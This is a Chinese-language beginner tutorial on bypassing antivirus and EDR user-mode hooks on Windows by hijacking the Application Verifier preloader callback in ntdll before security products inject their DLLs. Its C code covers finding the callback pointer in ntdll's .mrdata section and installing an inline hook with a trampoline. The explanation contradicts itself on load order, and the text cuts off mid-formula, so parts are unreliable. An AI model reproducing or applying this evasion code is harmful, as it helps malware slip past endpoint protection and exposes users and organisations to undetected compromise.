[新手向] 通过 Preloader 技术在进程初始化阶段绕过用户态 Hook一、引言在 Windows 平台上,大多数终端安全产品通过用户态 Inline Hook 来拦截敏感的系统调用。它们的做法是修改 ntdll.dll 中 syscall stub 的开头几个字节,将 mov r10, rcx; mov eax, SSN 替换为一条 jmp 指令,跳转到自身的检测引擎中进行分析,然后再决定是否放行。; ntdll.dll 正常 syscall stub 前缀
4C 8B D1 mov r10, rcx
B8???? ?? mov eax, <syscall_number>
; 被安全软件 Hook 后
E9?? ?? ?? jmp <hook_handler>这种 Hook 在进程创建之初就通过 LdrInitializeThunk 中的 DLL 加载顺序生效——安全软件的 DLL 往往早于 kernel32.dll 被注入,因此它们可以在用户代码执行之前就完成 Hook 部署。然而,这也留下了一个时间窗口:如果我们能在 DLL 初始化之前介入加载流程,就能在安全软件的 Hook 尚未部署时将其"废掉"。本文介绍一种基于 Application Verifier Preloader 回调的绕过方案,在所有用户态 Hook 生效之前取得控制权。二、杀软查杀过程杀软的查杀过程主要包括拦截 VirtualAlloc 调用、检查分配内存是否可疑以及扫描写入内容是否为恶意代码等步骤。如果发现不对劲,就会报警或阻止。杀软的应用层核心手段是 User - Mode Hook。在 Windows 中,所有系统调用都要经过 ntdll.dll 这个"传达室":你的程序 → kernel32!VirtualAlloc → ntdll!NtAllocateVirtualMemory → 内核。杀软会在 ntdll 函数开头修改指令,把正常代码改成跳转:原来:mov r10, rcx ; 正常 syscall 前缀
mov eax, 0x18 ; 系统调用号
syscall被 Hook 后:jmp EdrCheckFunc ; 先跳到 EDR 检查
... ; 原始指令被覆盖这样每次程序调用系统函数,都先经过软件的检查,这也是被杀软监控后程序变慢的原因。杀软是在进程启动后,把自己的 DLL 注入进去,然后才能修改 ntdll 的代码。在进程刚开始、EDR 还没注入的那一瞬间,这个进程是"干净的",这就是我们要抓住的机会。三、核心突破点(一)进程的创建过程Windows 创建进程的过程大致是:加载器加载 ntdll.dll。加载 kernel32.dll。EDR 注入。EDR 装 Hook。程序开始执行。关键时间窗口:步骤 3 刚开始时,只有 ntdll.dll 加载了,EDR 的 DLL 还没注入。这时候如果能执行一段代码,就可以在 EDR 安装 hook 之前把它的路堵死。我们的流程是:加载器 → 触发我们的回调 → 堵死 EDR 的注入路径 → 等 EDR 来时已经晚了。(二)被 Hook 函数的模拟跳转过程我们通过创建子进程,然后注入阉割的模块,实现绕过杀软。四、细节(重要)(一)SafeRuntime:为什么不能用标准库?在加载器回调执行时,VC Runtime 还没初始化。调用 strlen、memcpy 会崩溃。所以必须自己实现这些最基本的内存操作,且不依赖任何外部符号。size_t SafeStrLen(const char* str)
{
size_t i = 0;
while (str[i]) i++;
return i;
}
void SafeMemCpy(void* dest, const void* src, size_t len)
{
unsigned char* d = (unsigned char*)dest;
const unsigned char* s = (const unsigned char*)src;
while (len--) *d++ = *s++;
}(二)PE 解析:找到藏起来的回调地址定位.mrdata 节每个 PE 文件(exe / dll)都有一个节表,列出了各节的名称、位置和大小。我们遍历节表,找到名为 .mrdata 的节:ULONG_PTR PeGetSectionBase(ULONG_PTR base, const char* name)
{
IMAGE_DOS_HEADER* dos = (IMAGE_DOS_HEADER*)base;
IMAGE_NT_HEADERS* nt = (IMAGE_NT_HEADERS*)(base + dos->e_lfanew);
IMAGE_SECTION_HEADER* sec = (IMAGE_SECTION_HEADER*)((ULONG_PTR)nt + sizeof(IMAGE_NT_HEADERS));
WORD count = nt->FileHeader.NumberOfSections;
for (WORD i = 0; i < count; i++)
if (SafeMemCmp(name, sec[i].Name, SafeStrLen(name)) == 0)
return base + sec[i].VirtualAddress;
return 0;
}PE 文件内存布局+0x00 [某全局变量]
+0x08 [某全局变量]
...
+N [LdrpMrdataBase] = &mrdata ← 值等于自身基址的指针
+N+8 [AvrfpCallbacksEnabled] = FALSE ← 1 字节 + 7 字节 padding
+N+16 [AvrfpCallbackRoutine] = NULL ← 我们要找的扫描算法遍历 .mrdata 每 8 字节,找值为 mrdataBase 的指针 → 这就是 LdrpMrdataBase;从 LdrpMrdataBase 往后找第一个 NULL 指针 → 这就是 AvrfpAPILookupCallbackRoutine。ULONG_PTR FindAvrfpAddress(ULONG_PTR mrdataBase, ULONG_PTR mrdataSize)
{
ULONG_PTR* ptr = (ULONG_PTR*)mrdataBase;
ULONG_PTR ldrpMrdata = 0;
//1: 扫描找到 LdrpMrdataBase
for (ULONG_PTR i = 0; i < mrdataSize / sizeof(ULONG_PTR); i++, ptr++)
{
if (*ptr == mrdataBase) { ldrpMrdata = (ULONG_PTR)ptr; break; }
}
if (!ldrpMrdata) return 0;
//2: 往后找第一个 NULL 指针
ptr = (ULONG_PTR*)ldrpMrdata;
for (int i = 0; i < 10; i++, ptr++)
{
if (*ptr == 0) return (ULONG_PTR)ptr;
}
return 0;
}(三)内联 Hook:如何劫持一个函数?内联 Hook 的原理很简单——在目标函数开头写入一条跳转指令,把执行流重定向到我们的函数。但这有个 tricky 的地方:x64 指令是变长的(1 到 15 字节),不能随便找个位置截断!绝对跳转我们使用 12 字节的绝对跳转:B8 XX XX XX XX XX XX XX XX mov rax, <64位地址>FF E0 jmp rax为什么不用更短的 `E9 XX XX XX XX`(5 字节)?因为 x64 用户态地址跨度太大,相对跳转的正负 2GB 范围不够可靠。跳板 (Trampoline)被覆盖的原始指令不能丢——我们的 hook 函数可能需要调用原始功能。所以要把它们保存到一个"跳板"里。反汇编确定截断位置我们用 HDE64 反汇编引擎逐条分析指令,累计到 ≥ 12 字节:SIZE_T total = 0;
BYTE* ip = (BYTE*)target;
while (total < HOOK_SIZE)
{
hde64s hs;
SIZE_T len = hde64_disasm(&ip[total], &hs);
if (len == 0 || (hs.flags & F_ERROR)) return; // 反汇编失败就放弃
total += len;
}(四)系统指针编码ntdll 内部指针是加密存储的(防漏洞利用):encoded = ROTR64(Cookie XOR pointer, Cookie & 0x3F